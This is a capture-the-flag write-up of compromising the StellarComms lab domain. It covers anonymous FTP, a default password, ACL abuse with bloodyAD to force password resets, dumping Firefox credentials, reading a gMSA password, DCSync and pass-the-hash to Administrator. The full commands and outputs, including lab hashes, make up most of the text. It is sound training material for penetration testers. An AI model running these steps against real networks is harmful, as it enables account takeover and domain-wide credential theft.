Overview

The machine starts by looting an anonymous FTP share that leaks a virtual host and a default password for junior.analyst, BloodHound reveals a WriteOwner path over the StellarOPS-Control group which we take over to grant ourselves GenericAll and ForceChangePassword over OPS.Controller to get a WinRM shell, dumping saved Firefox credentials from that box leaks astro.researcher's password who has GenericAll over eng.payload, we take over that account to read the GMSA password of SATLINK-SERVICE$ which holds DCSync rights, and dump the domain hashes to get Administrator

Our initial access team has successfully established a VPN tunnel into the environment. We have identified a valid username, likely belonging to a new hire or junior staff member. Valid User: Username: junior.analyst Password: Unknown

Enumeration

we start with nmap scan as always

add the DN and FQDN to the hosts file so we can resolve the domain name

bash
┌─[]─[10.200.82.250]─[jimmex@attacker]─[~/HSM/StellarComms]
└──╼ [★]$ echo '10.0.24.68 DC-Stellar stellarcomms.local DC-Stellar.stellarcomms.local' | sudo tee -a /etc/hosts
10.0.24.68 DC-Stellar stellarcomms.local DC-Stellar.stellarcomms.local

This is an AD environment, so there are a lot of LDAP and Kerberos related ports:

  • FTP is open with anonymous FTP login allowed
    • there are Docs, IT, Pics shares that we can look at
  • port 80 hosts the default IIS page
  • domain name is stellarcomms.local and hostname is DC-STELLAR
  • RDP is enabled but no WinRM
  • no ADCS which affects the way we think later

FTP

Anonymous FTP login is allowed, so let's list everything on the shares.

bash
┌─[]─[10.200.82.250]─[jimmex@attacker]─[~/HSM/StellarComms]
└──╼ [★]$ lftp -c "open ftp://stellarcomms.local; find"
./
./Docs/
./Docs/Browser_policy.pdf
./Docs/LEO_2A_Report.txt
./Docs/LEO_3B_Report.txt
./Docs/LEO_5C_Report.txt
./Docs/StellarComms_Whitepaper.pdf
./Docs/Stellar_UserGuide.pdf
./Docs/Transmission_Schedule.txt
./IT/
./IT/Firefox Setup 91.0esr.exe
./Pics/
./Pics/Earth.jpeg
./Pics/Lights.jpeg
./Pics/Sat1.jpeg
./Pics/Sat2.jpeg
./Pics/Sat3.jpeg
./Pics/Space.jpeg
./Pics/Team.png

lftp was an upgrade from the normal ftp command because it adds stuff like mirror which just syncs you with what's on the share, so it downloads everything to the current directory.

bash
┌─[]─[10.200.82.250]─[jimmex@attacker]─[~/HSM/StellarComms/FTP]
└──╼ [★]$ lftp -c "open ftp://stellarcomms.local; mirror"

The Pics folder was empty and the IT folder has an executable in it that we might get back to later, but this report leaks a virtual host portal.stellarcomms.local, so let's add that to the hosts file too.

The User Guide leaks a default password that junior.analyst might be using.

HTTP

Port 80 hosts the default IIS page, but portal.stellarcomms.local hosts a different website. It doesn't have a lot of functionality, but there is a "send message" feature which is just a frontend and doesn't send any requests.

SMB

Validating the username we found and it is actually valid, so let's look around.

bash
┌─[]─[10.200.82.250]─[jimmex@attacker]─[~/HSM/StellarComms]
└──╼ [★]$ nxc smb 10.0.24.68 -u junior.analyst -p 'Galaxy123!'
SMB 10.0.24.68 445 DC-STELLAR [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-STELLAR) (domain:stellarcomms.local) (signing:True)
(SMBv1:False) (Null Auth:True) (DC:True)
SMB 10.0.24.68 445 DC-STELLAR [+] stellarcomms.local\junior.analyst:Galaxy123!

The shares are the default only, we might get back to them later if we hit a dead end.

bash
┌─[]─[10.200.82.250]─[jimmex@attacker]─[~/HSM/StellarComms]
└──╼ [★]$ nxc smb 10.0.24.68 -u junior.analyst -p 'Galaxy123!' --shares
SMB 10.0.24.68 445 DC-STELLAR [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC-STELLAR) (domain:stellarcomms.local) (signing:True)
(SMBv1:False) (Null Auth:True) (DC:True)
SMB 10.0.24.68 445 DC-STELLAR [+] stellarcomms.local\junior.analyst:Galaxy123!
SMB 10.0.24.68 445 DC-STELLAR [*] Enumerated shares
SMB 10.0.24.68 445 DC-STELLAR Share Permissions Remark
SMB 10.0.24.68 445 DC-STELLAR ----- ----------- ------
SMB 10.0.24.68 445 DC-STELLAR ADMIN$ Remote Admin
SMB 10.0.24.68 445 DC-STELLAR C$ Default share
SMB 10.0.24.68 445 DC-STELLAR IPC$ READ Remote IPC
SMB 10.0.24.68 445 DC-STELLAR NETLOGON READ Logon server share
SMB 10.0.24.68 445 DC-STELLAR SYSVOL READ Logon server share

AD Enumeration (BloodHound)

Collecting data for BloodHound with RustHound.

I also use the Python ingestor nowadays because RustHound still misses the self edges.

bash
┌─[]─[10.200.82.250]─[jimmex@attacker]─[~/HSM/StellarComms]
└──╼ [★]$ bloodhound-ce-python -dc DC-Stellar.stellarcomms.local -ns 10.0.24.68 -d stellarcomms.local -u junior.analyst -p 'Galaxy123!' --zip -c All
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: stellarcomms.local
INFO: Getting TGT for user
INFO: Connecting to LDAP server: DC-Stellar.stellarcomms.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: DC-Stellar.stellarcomms.local
INFO: Found 9 users
INFO: Found 53 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC-STELLAR.stellarcomms.local
INFO: Done in 00M 29S
INFO: Compressing output into 20260818012013_bloodhound.zip

As you can see, the user we have can write owner over the group StellarOPS-Control which can ForceChangePassword over the user OPS.Controller, who is part of the Remote Management Users so he can WinRM in, so let's take that path.

Access as Ops.Controller

Abusing StellarOPS-Control (WriteOwner -> ForceChangePassword)

First we set ourselves as the owner of the group so we can write the DACL over it.

bash
┌─[]─[10.200.82.250]─[jimmex@attacker]─[~/HSM/StellarComms]
└──╼ [★]$ bloodyAD --host 10.0.24.68 -d stellarcomms.local -u junior.analyst -p 'Galaxy123!' set owner 'STELLAROPS-CONTROL' 'junior.analyst'
[+] Old owner S-1-5-21-1085439814-3345093241-3808503133-512 is now replaced by junior.analyst on STELLAROPS-CONTROL

Then give ourselves GenericAll over it, meaning we can now add ourselves to this group.

bash
┌─[]─[10.200.82.250]─[jimmex@attacker]─[~/HSM/StellarComms]
└──╼ [★]$ bloodyAD --host 10.0.24.68 -d stellarcomms.local -u junior.analyst -p 'Galaxy123!' add genericAll STELLAROPS-CONTROL 'junior.analyst'
[+] junior.analyst has now GenericAll on STELLAROPS-CONTROL

Then add ourselves into this group.

bash
┌─[]─[10.200.82.250]─[jimmex@attacker]─[~/HSM/StellarComms]
└──╼ [★]$ bloodyAD --host 10.0.24.68 -d stellarcomms.local -u junior.analyst -p 'Galaxy123!' add groupMember 'STELLAROPS-CONTROL' 'junior.analyst'
[+] junior.analyst added to STELLAROPS-CONTROL

Then, using the permissions given to us by that group, we change the password of OPS.CONTROLLER.

bash
┌─[]─[10.200.82.250]─[jimmex@attacker]─[~/HSM/StellarComms]
└──╼ [★]$ bloodyAD --host 10.0.24.68 -d stellarcomms.local -u junior.analyst -p 'Galaxy123!' set password OPS.CONTROLLER Password123
[+] Password changed successfully!

Shell as OPS.CONTROLLER (User Flag)

And that user is valid for WinRM as you can see, so let's log in.

bash
┌─[]─[10.200.82.250]─[jimmex@attacker]─[~/HSM/StellarComms]
└──╼ [★]$ nxc winrm 10.0.24.68 -u OPS.CONTROLLER -p Password123
[*] Initializing WINRM protocol database
WINRM 10.0.24.68 5985 DC-STELLAR [*] Windows 10 / Server 2019 Build 17763 (name:DC-STELLAR) (domain:stellarcomms.local)
WINRM 10.0.24.68 5985 DC-STELLAR [+] stellarcomms.local\OPS.CONTROLLER:Password123 (Pwn3d!)

We got the user flag.

Lateral Movement: astro.researcher (Browser Credentials)

We already have some kind of hint from earlier that all the users use Firefox and they have to log into the portal using Firefox, so let's try to find credentials for that.

For the browser data extraction I use hack-browser-data, so first we start by listing the profiles on the target.

text
*Evil-WinRM* PS C:\Users\ops.controller\Documents> ./browser.exe list --detail
Browser   Profile                password   cookie   bookmark   history   download   creditcard   extension   localstorage   sessionstorage
Firefox   v8mn7ijj.default-esr   1          0        5          8         0          0            0           0              0
*Evil-WinRM* PS C:\Users\ops.controller\Documents>

So we dump the password out of the Firefox browser. The output looks like it failed, but if you look in the current dir you'll find the results directory which has the zip file.

text
*Evil-WinRM* PS C:\Users\ops.controller\Documents> ./browser.exe dump --browser firefox -c password --zip
browser.exe : [INF] Extracting Firefox...
    + CategoryInfo          : NotSpecified: ([INF] Extracting Firefox...:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError

Unzip the file to access the password.json and we find that we got the password for the user astro.researcher, so let's see what he can do.

bash
┌─[]─[10.200.82.250]─[jimmex@attacker]─[~/HSM/StellarComms]
└──╼ [★]$ cat password.json
[
  {
    "browser": "Firefox",
    "profile": "v8mn7ijj.default-esr",
    "url": "http://portal.stellarcomms.local",
    "username": "astro.researcher",
    "password": "Cosmos@42",
    "created_at": "2025-09-10T18:29:52.993Z"
  }
]

And as astro we can writeDacl over eng.payload, meaning we can take full control over that user. eng.payload can read the GMSA password for the satlink.service$ computer account who has DCSync rights over the domain, so we can dump domain hashes.

Access as Doman Admin

Taking Over eng.payload (GenericAll)

First we add GenericAll over the account.

bash
┌─[]─[10.200.82.250]─[jimmex@attacker]─[~/HSM/StellarComms]
└──╼ [★]$ bloodyAD --host 10.0.24.68 -d stellarcomms.local -u astro.researcher -p 'Cosmos@42' add genericAll eng.payload astro.researcher
[+] astro.researcher has now GenericAll on eng.payload

Then change its password.

bash
┌─[]─[10.200.82.250]─[jimmex@attacker]─[~/HSM/StellarComms]
└──╼ [★]$ bloodyAD --host 10.0.24.68 -d stellarcomms.local -u astro.researcher -p 'Cosmos@42' set password eng.payload Password123
[+] Password changed successfully!

Then we read the password for satlink because we are given access to read it through GMSA.

bash
┌─[]─[10.200.82.250]─[jimmex@attacker]─[~/HSM/StellarComms]
└──╼ [★]$ nxc ldap 10.0.24.68 -u eng.payload -p Password123 --gmsa
LDAP 10.0.24.68 389 DC-STELLAR [*] Windows 10 / Server 2019 Build 17763 (name:DC-STELLAR) (domain:stellarcomms.local) (signing:None) (cha
nnel binding:No TLS cert)
LDAP 10.0.24.68 389 DC-STELLAR [+] stellarcomms.local\eng.payload:Password123
LDAP 10.0.24.68 389 DC-STELLAR [*] Getting GMSA Passwords
LDAP 10.0.24.68 389 DC-STELLAR Account: SATLINK-SERVICE$ NTLM: b5991e982c1a0eaebbaaa489bc23ee87 PrincipalsAllowedToReadPassword:
['eng.payload', 'SATLINK-SERVICE$']
LDAP 10.0.24.68 389 DC-STELLAR Account: SATLINK-SERVICE$ aes128-cts-hmac-sha1-96: 0059364ef86b2f0355b89a306aa3c91b
LDAP 10.0.24.68 389 DC-STELLAR Account: SATLINK-SERVICE$ aes256-cts-hmac-sha1-96: 28f7fddd124ff74e3dbd456377e1c248f047eee597ba6a2355e
55e18abe7f61e

DCSync (Dumping Domain Hashes)

Then we DCSync to get the Administrator password.

bash
┌─[]─[10.200.82.250]─[jimmex@attacker]─[~/HSM/StellarComms]
└──╼ [★]$ secretsdump.py stellarcomms.local/'SATLINK-SERVICE$'@10.0.24.68 -hashes :b5991e982c1a0eaebbaaa489bc23ee87 -just-dc-user administrator
Impacket v0.14.0.dev0+20260814.164800.c23b3d55 - Copyright Fortra, LLC and its affiliated companies

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d3a97bfa75ebed92165ea2d67cd21002:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:bfaf1e64a09cd38cf5f61c308386793e79b354fa338079da920e25e9245de6cb
Administrator:aes128-cts-hmac-sha1-96:03971364600219dc3305f9a37c7d7388
Administrator:des-cbc-md5:f7014cc7e9abbf2a
[*] Cleaning up...

Administrator Shell (Root Flag)

And we get the root flag.

bash
┌─[]─[10.200.82.250]─[jimmex@attacker]─[~/HSM/StellarComms]
└──╼ [★]$ evil-winrm -i 10.0.24.68 -u administrator -H d3a97bfa75ebed92165ea2d67cd21002

Evil-WinRM shell v3.5

*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt

FLAG[OrbitMaster_Access_Granted]
< SNIP>
*Evil-WinRM* PS C:\Users\Administrator\Desktop> exit

Info: Exiting with code 0

Path

mermaid
flowchart TD
    A["Anonymous FTP Access<br/>(Docs share leaks portal.stellarcomms.local + default password)"]
    B["junior.analyst : Galaxy123!"]
    C["BloodHound Enumeration<br/>(WriteOwner + ForceChangePassword path)"]
    D["WriteOwner over StellarOPS-Control"]
    E["GenericAll over StellarOPS-Control"]
    F["Add self to StellarOPS-Control"]
    G["ForceChangePassword over OPS.Controller"]
    H["WinRM shell as OPS.Controller<br/>(USER FLAG)"]
    I["Firefox credential dump<br/>(hack-browser-data)"]
    J["astro.researcher : Cosmos@42"]
    K["GenericAll over eng.payload"]
    L["Set password of eng.payload"]
    M["Read gMSA password of SATLINK-SERVICE$"]
    N["DCSync with SATLINK-SERVICE$"]
    O["Administrator<br/>(ROOT FLAG)"]

    A --> B --> C --> D --> E --> F --> G --> H
    H --> I --> J --> K --> L --> M --> N --> O

References